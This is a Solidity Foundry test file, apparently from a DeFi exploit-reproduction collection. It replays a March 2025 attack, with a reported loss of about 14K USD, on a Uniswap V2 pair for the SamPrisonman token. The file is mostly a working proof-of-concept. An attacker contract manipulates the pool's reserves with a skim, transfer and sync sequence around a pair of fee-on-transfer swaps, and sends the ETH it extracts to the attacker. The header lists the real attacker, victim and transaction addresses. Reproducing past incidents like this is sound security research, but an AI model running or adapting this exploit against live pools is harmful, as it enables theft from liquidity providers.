src/test/2025-03/UNI_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 14K USD
7// Attacker : https://etherscan.io/address/0x97d8170e04771826a31c4c9b81e9f9191a1c8613
8// Attack Contract : https://etherscan.io/address/0x2901c8b8e6d9f2c9f848987ded74b776ab1f973e
9// Vulnerable Contract : https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x6c8aed8d0eab29416cd335038cd5ee68c5e27bfb001c9eac7fc14c7075ed4420?line=0
11 
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x76ea342bc038d665e8a116392c82552d2605eda1
14 
15// @Analysis
16// Post-mortem : https://x.com/CertiKAlert/status/1897973904653607330
17// Twitter Guy : https://x.com/CertiKAlert/status/1897973904653607330
18// Hacking God : N/A
19 
20address constant SamPrisonman = 0xdDF309b8161aca09eA6bBF30Dd7cbD6c474FF700;
21address constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
22address constant UniswapV2Pair = 0x76EA342BC038d665e8a116392c82552D2605edA1;
23address constant addr1 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
24address constant addr2 = 0xaCa4263fFddA9E60C7260AAbA08c2b8F80D63cB1;
25address constant attacker = 0x97d8170e04771826A31C4c9B81E9f9191a1C8613;
26 
27contract ContractTest is Test {
28    function setUp() public {
29        vm.createSelectFork("mainnet", 21992033);
30        deal(attacker, 4e-15 ether);
31    }
32    
33    function testPoC() public {
34        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
35        vm.startPrank(attacker, attacker);
36        AttackerC attC = new AttackerC{value: 4e-15 ether}();
37        // deal(address(attC), 4e-15 ether);
38        vm.stopPrank();
39        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
40    }
41}
42 
43contract AttackerC {
44    constructor() payable {
45        (bool s1, ) = addr2.call(abi.encodeWithSelector(bytes4(0x4f49cd31)));
46        s1;
47 
48        address[] memory path = new address[](2);
49        path[0] = addr1;
50        path[1] = SamPrisonman;
51        (bool s2, ) = UniswapV2Router02.call{value: address(this).balance}(
52            abi.encodeWithSelector(
53                IUniswapV2Router02.swapExactETHForTokensSupportingFeeOnTransferTokens.selector,
54                0,
55                path,
56                address(this),
57                block.timestamp
58            )
59        );
60        s2;
61 
62        (bool s3, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.skim.selector, UniswapV2Pair));
63        s3;
64 
65        (bool s4, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.transfer.selector, UniswapV2Pair, uint256(1)));
66        s4;
67 
68        (bool s5, ) = UniswapV2Pair.call(abi.encodeWithSelector(IUniswapV2PairLike.sync.selector));
69        s5;
70 
71        uint256 bal = 0;
72        (bool s6, bytes memory r6) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.balanceOf.selector, address(this)));
73        if (s6 && r6.length >= 32) {
74            bal = abi.decode(r6, (uint256));
75        }
76 
77        (bool s7, ) = SamPrisonman.call(abi.encodeWithSelector(ISamPrisonman.approve.selector, UniswapV2Router02, type(uint256).max));
78        s7;
79 
80        address[] memory path2 = new address[](2);
81        path2[0] = SamPrisonman;
82        path2[1] = addr1;
83        (bool s8, ) = UniswapV2Router02.call(
84            abi.encodeWithSelector(
85                IUniswapV2Router02.swapExactTokensForETHSupportingFeeOnTransferTokens.selector,
86                bal,
87                0,
88                path2,
89                tx.origin,
90                block.timestamp
91            )
92        );
93        s8;
94    }
95 
96    receive() external payable {}
97}
98 
99interface ISamPrisonman {
100	function approve(address, uint256) external returns (bool);
101	function balanceOf(address) external returns (uint256);
102	function transfer(address, uint256) external returns (bool); 
103}
104interface IUniswapV2Router02 {
105	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external;
106	function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256, address[] calldata, address, uint256) external payable; 
107}
108interface IUniswapV2PairLike {
109    function skim(address to) external;
110    function sync() external;
111}